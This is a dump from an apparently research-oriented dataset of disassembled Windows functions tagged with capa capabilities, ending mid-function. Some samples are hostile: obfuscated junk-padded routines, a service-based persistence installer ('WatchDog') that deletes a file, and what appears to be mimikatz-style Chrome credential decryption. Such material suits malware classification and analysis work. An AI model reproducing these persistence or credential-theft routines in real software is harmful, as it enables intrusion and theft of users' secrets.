joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1404dbf71
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
test r8w, 0x4f58
cmp bp, r12w
mov qword [rsp + 0x18], rsi
clc
cmp r15w, 0x18b8
test bl, r14b
push rdi
test r12d, r9d
stc
sub rsp, 0x20
jmp 0x1404dbfa2
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
sub esi, esi
sal bl, cl
shl bx, cl
ror bx, cl
mov rbx, rax
cmp ax, cx
test rax, rax
je 0x1404dc09a
mov rbp, rax
clc
cmp rbx, 0x4734732c
cmp al, r9b
cmp word [rax], si
jmp 0x1404dbfd7
je 0x1404dc014
or rax, 0xffffffffffffffff
jmp 0x1404dbfe6
inc rax
clc
cmp word [rbp + rax*2], si
jne 0x1404dbfe6
lea rbp, [rbp + rax*2]
jmp 0x1404dbfff
add rbp, 2
clc
stc
cmp word [rbp], si
jmp 0x1404dc00e
jne 0x1404dbfdd
sub rbp, rbx
add rbp, 2
bts ecx, ebp
or cx, bp
bswap ecx
sar rbp, 1
xor rcx, r10
add rbp, rbp
not cl
setno cl
cmovns cx, r10w
mov rcx, rbp
jmp 0x1404dc03e
call fcn.1404cc3c2
mov rdi, rax
cmp dx, 0x4efd
cmc
test rax, rax
je 0x1404dc080
mov r8, rbp
bswap cx
mov rdx, rbx
movzx cx, r9b
not ch
movzx rcx, r10w
mov rcx, rax
jmp 0x1404dc071
call fcn.1404a64ba
mov rsi, rdi
test ch, 0xe5
test di, r15w
sub ecx, ecx
jmp 0x1404dc087
call fcn.1404cc356
mov rcx, rbx
jmp 0x1404dc094
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rbx, qword [rsp + 0x30]
cwde
mov rax, rsi
rol bp, cl
stc
mov rsi, qword [rsp + 0x40]
or edi, 0x16f714cb
mov rbp, qword [rsp + 0x38]
add rsp, 0x20
movzx rdi, r8w
cmovb di, r8w
jmp 0x1404dc0c9
pop rdi
jmp 0x1404dc0cf
ret
Function at 0x1404def17
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
movsxd rax, ebx
mov qword [rsp + 0x18], rbp
movsx rax, r8w
push rsi
push rdi
movzx rax, r13w
push r14
movzx ax, r12b
lahf
mov eax, 0x1450
jmp 0x1404def44
call fcn.14044b6f7
sub rsp, rax
not ax
bt si, 0xfd
movsx rdi, r13w
mov rax, qword [0x1400b7288]
xor rax, rsp
sar dil, cl
mov qword [rsp + 0x1440], rax
sbb rax, r13
shrd r10w, bp, 0xbd
bswap si
movsxd r10, edx
bt di, cx
mov rdi, rcx
shr dh, 0x89
mov dx, 0x2f1d
movsx rax, ax
mov rax, r10
ror cl, cl
adc rbp, r13
mov ebp, r9d
sar rax, 6
or si, r11w
shr ch, 7
clc
lea rcx, [0x1400ba940]
movsx r14d, r15w
and dl, r8b
and r10d, 0x3f
test r12, 0x3df11705
rcl sil, 0x50
lea rbp, [rbp + r8]
bts rsi, r13
and dx, 0x4584
mov rsi, r8
movsx r14d, ax
mov rax, qword [rcx + rax*8]
lea rdx, [r10 + r10*8]
mov r14, qword [rax + rdx*8 + 0x28]
cmp r8b, r9b
sub eax, eax
stc
test r12w, r8w
mov qword [rdi], rax
clc
jmp 0x1404deff7
mov dword [rdi + 8], eax
test r8w, 0x3882
cmp r8, rbp
jmp 0x1404df008
jae 0x1404df0fe
lea rbx, [rsp + 0x40]
cmp rsi, rbp
jmp 0x1404df01b
jae 0x1404df06d
mov al, byte [rsi]
inc rsi
test r12w, r12w
cmp al, 0xa
jmp 0x1404df031
jne 0x1404df04a
inc dword [rdi + 8]
mov byte [rbx], 0xd
jmp 0x1404df042
inc rbx
jmp 0x1404df04a
mov byte [rbx], al
mov ah, 0x20
dec al
inc rbx
test bl, r9b
lea rax, [rsp + 0x143f]
cmp rbx, rax
jmp 0x1404df067
jb 0x1404df013
and qword [rsp + 0x20], 0
neg r9
test spl, 0x1b
rol r8b, 0x71
lea rax, [rsp + 0x40]
inc r8w
movsxd rdx, esp
sub ebx, eax
mov r9w, 0x7cb6
movzx r8d, r10w
lea r9, [rsp + 0x30]
setne dl
mov r8d, ebx
mov cl, r8b
xchg ecx, edx
cmovne dx, cx
lea rdx, [rsp + 0x40]
movsx ecx, dx
setae cl
mov rcx, r14
jmp 0x1404df0bc
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jmp 0x1404df0c9
je 0x1404df0f6
mov eax, dword [rsp + 0x30]
add dword [rdi + 4], eax
cmp eax, ebx
jmp 0x1404df0dd
jb 0x1404df0fe
cmp rsi, rbp
jmp 0x1404df0eb
jb 0x1404df00e
jmp 0x1404df0fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rdi], eax
mov rax, rdi
mov rcx, qword [rsp + 0x1440]
cmp sp, 0x7800
test r13b, 0xc4
xor rcx, rsp
jmp 0x1404df11a
call fcn.1404a2814
lea r11, [rsp + 0x1450]
xchg bx, r14w
setl r14b
bswap bx
mov rbx, qword [r11 + 0x20]
cmovo bp, cx
mov rbp, qword [r11 + 0x30]
movsx rsi, ax
xchg dil, dil
mov rsp, r11
pop r14
movzx esi, r12w
movsxd rsi, r9d
not sil
pop rdi
bswap rsi
movzx esi, r10w
movzx si, r9b
pop rsi
jmp 0x1404df167
ret
Function at 0x1404df168
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
cmovp ax, r11w
mov ax, 0x27ac
movzx rax, r15w
mov qword [rsp + 0x18], rbp
cbw
push rsi
setns ah
bswap eax
cwde
push rdi
bswap rax
movzx rax, si
push r14
movzx eax, r14w
jmp 0x1404df19b
mov eax, 0x1450
jmp 0x1404df1a5
call fcn.14044b6f7
sub rsp, rax
cdqe
mov rax, qword [0x1400b7288]
bt r10w, r13w
xor rax, rsp
cmp si, r11w
btr r10, 0xb4
mov qword [rsp + 0x1440], rax
movsx rsi, r8w
rol bpl, 0xae
bsr rbp, rsp
movsxd r10, edx
neg dl
movzx di, r9b
cbw
mov rdi, rcx
xor r14b, r10b
mov rax, r10
rcr ch, 0x39
cmp rsi, rsp
mov ebp, r9d
movzx rsi, di
movsxd rsi, eax
btr r14w, 0x12
sar rax, 6
lea rcx, [0x1400ba940]
shrd r14, rcx, 0x9e
cmc
rcr sil, cl
and r10d, 0x3f
movzx si, al
lea rbp, [rbp + r8]
not edx
mov rsi, r8
xor r14b, dil
rol r14b, 0x88
mov rax, qword [rcx + rax*8]
cwd
movzx r14w, r11b
shl r14b, 2
lea rdx, [r10 + r10*8]
shrd r14w, r15w, 0x5f
mov r14, qword [rax + rdx*8 + 0x28]
test rdi, 0x6c995e29
test r15b, dl
xor eax, eax
cmp ah, 0x3e
mov qword [rdi], rax
mov dword [rdi + 8], eax
cmp r10, 0x7dfc1d5f
clc
cmp r8, rbp
jmp 0x1404df276
jae 0x1404df378
lea rbx, [rsp + 0x40]
cmp rsi, rbp
jmp 0x1404df289
jae 0x1404df2e7
movzx eax, word [rsi]
test r13w, si
cmp rsp, rsp
stc
add rsi, 2
stc
jmp 0x1404df2a4
cmp ax, 0xa
jmp 0x1404df2ad
jne 0x1404df2c7
add dword [rdi + 8], 2
mov ecx, 0xd
mov word [rbx], cx
test r13, rsi
clc
add rbx, 2
mov word [rbx], ax
clc
add rbx, 2
bts eax, esp
adc ax, si
cwde
lea rax, [rsp + 0x143e]
cmp rbx, rax
jb 0x1404df281
and qword [rsp + 0x20], 0
bts r9w, di
lea rax, [rsp + 0x40]
sub rbx, rax
lea r9, [rsp + 0x30]
bt r8w, 0xe1
sar rbx, 1
dec r8
rcl cx, 7
lea rdx, [rsp + 0x40]
sub r8, 0x9e322f4
add r8b, 0x57
add ebx, ebx
movsx cx, sil
movsx r8d, r10w
mov rcx, r14
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jmp 0x1404df33d
je 0x1404df36a
mov eax, dword [rsp + 0x30]
add dword [rdi + 4], eax
cmp eax, ebx
jmp 0x1404df351
jb 0x1404df378
cmp rsi, rbp
jmp 0x1404df35f
jb 0x1404df27c
jmp 0x1404df378
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rdi], eax
btc rcx, 0xf5
lahf
mov rax, rdi
mov ecx, r8d
bsf ecx, edi
rcr cl, cl
mov rcx, qword [rsp + 0x1440]
xor rcx, rsp
jmp 0x1404df393
call fcn.1404a2814
lea r11, [rsp + 0x1450]
movzx rsi, r12w
cmovle bp, r13w
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
not dil
jmp 0x1404df3bc
pop r14
movzx rdi, r8w
pop rdi
bswap esi
movzx si, r9b
movsx rsi, cx
pop rsi
ret
Function at 0x1404e2d37
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea r9, [0x1400c8e90]
rol r8b, 0x48
btr r8w, 0x5c
sub ecx, ecx
movsxd rdx, edi
mov r8b, al
lea r8, [0x1400c8e88]
cwd
mov dx, ax
bswap dx
lea rdx, [0x1400cfb70]
jmp 0x1404e2d74
call fcn.1404e302b
test rax, rax
je 0x1404e2d9b
mov rcx, rbx
add rsp, 0x20
xchg bh, bh
movzx ebx, cx
pop rbx
jmp 0x1404e2d94
push qword [0x1400b8d90]
ret
add rsp, 0x20
movsx ebx, r15w
jmp 0x1404e2da8
pop rbx
jmp 0x1404e2dae
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x1404e2ec9
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmovb r9w, r11w
mov rbx, rdx
movzx r8w, spl
lea r9, [0x1400c8ea8]
cdq
mov edi, ecx
bswap cx
setno cl
lea rdx, [0x1400cf748]
not cl
mov ch, 0x8f
mov ecx, 3
jmp 0x1404e2f0d
lea r8, [0x1400c8ea0]
jmp 0x1404e2f19
call fcn.1404e302b
mov rdx, rbx
btr cx, 0x22
rcr cx, 0xe2
not ch
mov ecx, edi
jmp 0x1404e2f3a
test rax, rax
jmp 0x1404e2f42
je 0x1404e2f53
call qword [case.0x14044b608.0]
jmp 0x1404e2f59
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
movsx rdi, r11w
shl dil, cl
add rsp, 0x20
movsx rdi, r9w
pop rdi
jmp 0x1404e2f73
ret
Function at 0x140001000
Capabilities:
Modify service
Query service status
Stop service

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x140001042
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x140001132
mov r8d, 0xf01ff
mov qword [rsp + 0xa8], rdi
lea rdx, str.UI0Detect
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
jne 0x140001080
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x14000112a
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x140001125
cmp dword [rsp + 0x64], 1
mov qword [rsp + 0xa0], rsi
je 0x1400010b8
lea r8, [rsp + 0x60]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov rsi, rax
test rax, rax
je 0x140001102
xor ecx, ecx
or r9d, 0xffffffff
mov qword [rsp + 0x50], rcx
or edx, r9d
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rcx
lea r8d, [rcx + 4]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rsi, qword [rsp + 0xa0]
mov eax, 1
mov rdi, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140001450
add rsp, 0x90
pop rbx
ret

Function at 0x140001150
Capabilities:
Query service status
Start service

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x140001190
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140001450
add rsp, 0x50
pop rbx
ret
mov r8d, 0xf01ff
mov qword [rsp + 0x60], rdi
lea rdx, [0x140018cc8]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
je 0x1400011ee
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
xor r8d, r8d
mov dword [rsp + 0x24], 1
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov rdi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140001450
add rsp, 0x50
pop rbx
ret
Function at 0x140001210
Capabilities:
Create service
Persist via windows service

Disassembly:
push rbx
sub rsp, 0x70
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x14000124a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenManager_Failed__Getlasterr:_d_n
call fcn.1400013e0
xor eax, eax
add rsp, 0x70
pop rbx
ret
xor eax, eax
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x60], rax
lea rsi, str.C:WindowsInstallerSystemSetting.exe
mov qword [rsp + 0x58], rax
lea r8, str.WatchDog
mov qword [rsp + 0x50], rax
lea rdx, str.WatchDog
mov qword [rsp + 0x48], rax
mov r9d, 0xf01ff
mov qword [rsp + 0x40], rax
mov rcx, rbx
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x110
mov qword [rsp + 0x88], rdi
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rdi, rax
test rax, rax
jne 0x1400012e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rsi
lea rcx, str.CreateSerive_Failed__path:_ws__lasterr:_d_n
mov r8d, eax
call fcn.1400013e0
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x14000133e
call section..text
call fcn.140001150
test eax, eax
jne 0x14000131b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.StartService_failed___d__n
call fcn.1400013e0
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x14000133e
lea rcx, str.StartService_OK__n
call fcn.1400013e0
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov rsi, qword [rsp + 0x80]
mov rdi, qword [rsp + 0x88]
add rsp, 0x70
pop rbx
ret

Function at 0x140001360
Capabilities:
Check if file exists
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
mov edi, ecx
mov rdx, qword [rdx + 8]
lea rcx, [0x140018dc4]
call fcn.1400013e0
call fcn.140001210
lea rcx, str.Install_Success_
test eax, eax
jne 0x140001396
lea rcx, str.Install_Failed__n
call fcn.1400013e0
cmp edi, 1
jle 0x1400013b8
mov rcx, qword [rbx + 8]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1400013b8
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140004e18
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140004bec
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004bec
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004bec
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004bec
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004bec
cmp dword [rcx + 0x84], 0xe
jbe 0x140004bec
cmp dword [rcx + 0xf8], esi
je 0x140004bec
mov ecx, r14d
call fcn.140004d34
mov ecx, 2
call fcn.140009c60
nop
cmp byte [0x14001c330], 0
jne 0x140004cb6
mov r15d, 1
mov eax, r15d
xchg dword [0x14001c320], eax
test ebx, ebx
jne 0x140004c5f
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x14001c328]
cmp rcx, rax
je 0x140004c56
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140001bdc]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x14001c370]
jmp 0x140004c6b
cmp ebx, r15d
jne 0x140004c71
lea rcx, [0x14001c388]
call fcn.140005360
nop
test ebx, ebx
jne 0x140004c88
lea rdx, [0x140011310]
lea rcx, [0x1400112f0]
call fcn.140004aac
lea rdx, [0x140011320]
lea rcx, [0x140011318]
call fcn.140004aac
movzx eax, byte [0x14001c330]
test esi, esi
cmove eax, r15d
mov byte [0x14001c330], al
jmp 0x140004cb6
mov ecx, 2
call fcn.140009cb4
test esi, esi
jne 0x140004ccd
mov ecx, r14d
call fcn.140004ce8
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140004b7c
Function at 0x180001000
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.1800c9dac
lea rcx, [rsp + 0x30]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x18000104a
lea r9, [rsp + 0x448]
lea rcx, [rsp + 0x30]
mov r8d, 0x3fd
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
mov rdx, rbx
sub r8, rax
sub rdx, rax
add rcx, rax
call fcn.1800cdbb4
lea r8, [0x1800e5418]
lea rcx, [rsp + 0x30]
mov rdx, rbx
call fcn.1800c9df4
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.1800c96b4
add rsp, 0x430
pop rbx
ret
Function at 0x180001f04
Capabilities:
Accept command line arguments

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
xor ebp, ebp
mov rsi, rdx
lea rdx, [rax + 0x18]
mov dword [rax + 0x18], ebp
mov edi, ebp
mov r15d, ebp
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov r12, rax
test rax, rax
je 0x1800020a3
movsxd rdx, dword [rsp + 0x80]
lea ecx, [rbp + 0x40]
shl rdx, 3
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, ebp
mov dword [rsp + 0x88], ebp
mov r15, rax
cmp dword [rsp + 0x80], ebp
jle 0x18000209a
mov rsi, r12
mov r13, rax
or r14, 0xffffffffffffffff
test rbx, rbx
je 0x18000202f
mov rcx, qword [rsi]
lea rdx, [0x1800e5acc]
mov r8d, 1
call fcn.1800ca0bc
test eax, eax
jne 0x180002025
mov rax, qword [rsi]
mov rcx, r14
inc rcx
cmp word [rax + rcx*2], bp
jne 0x180001fa5
mov rax, r14
inc rax
cmp word [rbx + rax*2], bp
jne 0x180001fb1
lea r14, [rax + 0xa]
add r14, rcx
mov ecx, 0x40
lea rdx, [r14 + r14]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rcx, qword [rsi]
lea rdx, [0x1800e5ad0]
mov rbp, rax
call fcn.1800ca0e8
mov r9, rbx
mov rdx, r14
test rax, rax
je 0x180001ffe
mov rcx, qword [rsi]
lea r8, str._ls___ls_
mov qword [rsp + 0x20], rcx
jmp 0x18000200d
mov rax, qword [rsi]
lea r8, str._ls__ls
mov qword [rsp + 0x20], rax
mov rcx, rbp
call fcn.1800ca754
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, rbp
xor ebp, ebp
jmp 0x18000205f
mov qword [r13], rbx
inc edi
add r13, 8
mov rax, qword [rsi]
inc r14
cmp word [rax + r14*2], bp
jne 0x180002032
inc r14
mov ecx, 0x40
lea rdx, [r14 + r14]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r8, qword [rsi]
mov rdx, r14
mov rcx, rax
mov rbx, rax
call fcn.1800ca050
mov eax, dword [rsp + 0x88]
add rsi, 8
mov r14, 0xffffffffffffffff
inc eax
mov dword [rsp + 0x88], eax
cmp eax, dword [rsp + 0x80]
jl 0x180001f79
mov rsi, qword [rsp + 0x78]
test rbx, rbx
je 0x18000209a
movsxd rax, edi
inc edi
mov qword [r15 + rax*8], rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, qword [rsp + 0x70]
mov dword [rsi], edi
mov rax, r15
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000a67c
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
mov rax, rsp
mov qword [rax + 8], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x47]
sub rsp, 0xc0
mov r14, r9
mov esi, edx
mov rdi, rcx
cmp edx, 3
jb 0x18000a79f
movzx eax, word [rcx]
cmp ax, word [0x1800ebc28]
jne 0x18000a79f
mov al, byte [rcx + 2]
cmp al, byte [0x1800ebc2a]
jne 0x18000a79f
test r8, r8
je 0x18000a791
test r9, r9
je 0x18000a791
lea rcx, str.__using_BCrypt_with_AES_256_GCM_n
call fcn.18004d68c
xor edx, edx
lea rcx, [rbp - 0x21]
lea r8d, [rdx + 0x58]
call fcn.1800cadf0
lea eax, [rsi - 0x1f]
lea rcx, [rdi + 3]
mov qword [rbp - 0x19], rcx
add rcx, 0xffffffffffffffed
mov edx, eax
add rcx, rsi
mov dword [rbp - 0x21], reloc.WLDAP32.dll_Ordinal_88
mov dword [rbp - 0x1d], 1
mov qword [rbp + 7], rcx
mov ecx, 0x40
mov dword [rbp - 0x11], reloc.WLDAP32.dll_Ordinal_12
mov dword [rbp + 0xf], 0x10
mov dword [rbp + 0x57], eax
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp - 0x31], rax
test rax, rax
je 0x18000a7ff
and dword [rsp + 0x48], 0
mov edx, dword [rbp - 0x11]
mov r8d, dword [rbp + 0x57]
add rdx, qword [rbp - 0x19]
lea rcx, [rbp + 0x57]
lea r9, [rbp - 0x21]
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x38], r8d
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov rcx, r14
call sub.ncrypt.dll_BCryptDecrypt
test eax, eax
jns 0x18000a7dd
lea rcx, str.ERROR_kuhl_m_dpapi_chrome_decrypt___BCryptDecrypt:_0x_08x_n
mov edx, eax
call fcn.18004d68c
jmp 0x18000a7f5
lea rcx, str.ERROR_kuhl_m_dpapi_chrome_decrypt___No_Alg_and_or_Key_handle_despite_AES_encryption_n
call fcn.18004d68c
jmp 0x18000a7ff
and qword [rsp + 0x48], 0
mov r9d, dword [rbp + 0x6f]
lea rax, [rbp + 0x57]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x31]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rax, qword [rbp + 0x77]
and dword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
mov edx, esi
mov qword [rsp + 0x20], rax
call fcn.1800085fc
test eax, eax
je 0x18000a7ff
mov r9, qword [rbp - 0x31]
mov r8d, dword [rbp + 0x57]
mov rdx, qword [rbp + 0x7f]
lea rcx, str._s:__.S_n
call fcn.18004d68c
mov rcx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea r11, [rsp + 0xc0]
mov rsi, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x18000d848
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rbp, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, [rsp + 0x20]
mov esi, eax
call sub.cryptdll.dll_MD5Init
mov ebx, 0x5b6
lea rcx, [rsp + 0x20]
mov r8d, esi
mov rdx, rdi
call sub.cryptdll.dll_MD5Update
dec rbx
jne 0x18000d87c
lea rcx, [rsp + 0x20]
call sub.cryptdll.dll_MD5Final
xor ecx, ecx
lea edx, [rbx + 0x10]
lea rax, [0x1800eee00]
mov al, byte [rcx + rax]
xor al, byte [rsp + rcx + 0x78]
mov byte [rcx + rbp], al
inc rcx
dec rdx
jne 0x18000d8a0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x18000d8d8
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, SQLAllocHandle
cmp eax, ebx
jge 0x18000d8ff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea edx, [rbx + 1]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdx, rax
test rax, rax
je 0x18000d93d
test ebx, ebx
je 0x18000d93d
lea rcx, [0x1800eee10]
mov r9, rax
mov r8d, ebx
sub rdi, rcx
sub r9, rcx
mov al, byte [rdi + rcx]
xor al, byte [rcx]
mov byte [r9 + rcx], al
inc rcx
dec r8
jne 0x18000d92c
mov rax, rdx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180018f48
Capabilities:
Accept command line arguments

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
lea rdx, [rax + 0x10]
xor r12d, r12d
mov rsi, rcx
mov ebp, r12d
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, r12d
mov r15, rax
test rax, rax
je 0x18001901a
cmp dword [rsp + 0x58], r12d
jle 0x18001901a
movzx ebx, r12w
lea r13, [0x1800fa550]
cmp bx, 0x13
jae 0x180018ff3
mov rcx, qword [r15]
movzx r14d, bx
shl r14, 5
mov rdx, qword [r14 + r13 + 0x10]
call fcn.1800ca2e4
mov edi, r12d
test eax, eax
sete dil
test edi, edi
je 0x180018fec
mov rax, qword [r14 + r13]
test rax, rax
je 0x180018fdd
mov ecx, dword [rsp + 0x58]
lea rdx, [r15 + 8]
dec ecx
call rax
mov ebp, eax
jmp 0x180018fec
mov ecx, dword [r14 + r13 + 8]
xor r8d, r8d
xor edx, edx
call fcn.18004b674
inc bx
test edi, edi
je 0x180018f9c
test edi, edi
jne 0x18001901a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], r12w
jne 0x180018ffb
lea r8d, [rax*2 + 2]
mov rdx, rsi
mov ecx, 0x22c003
call fcn.18004b674
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x68]
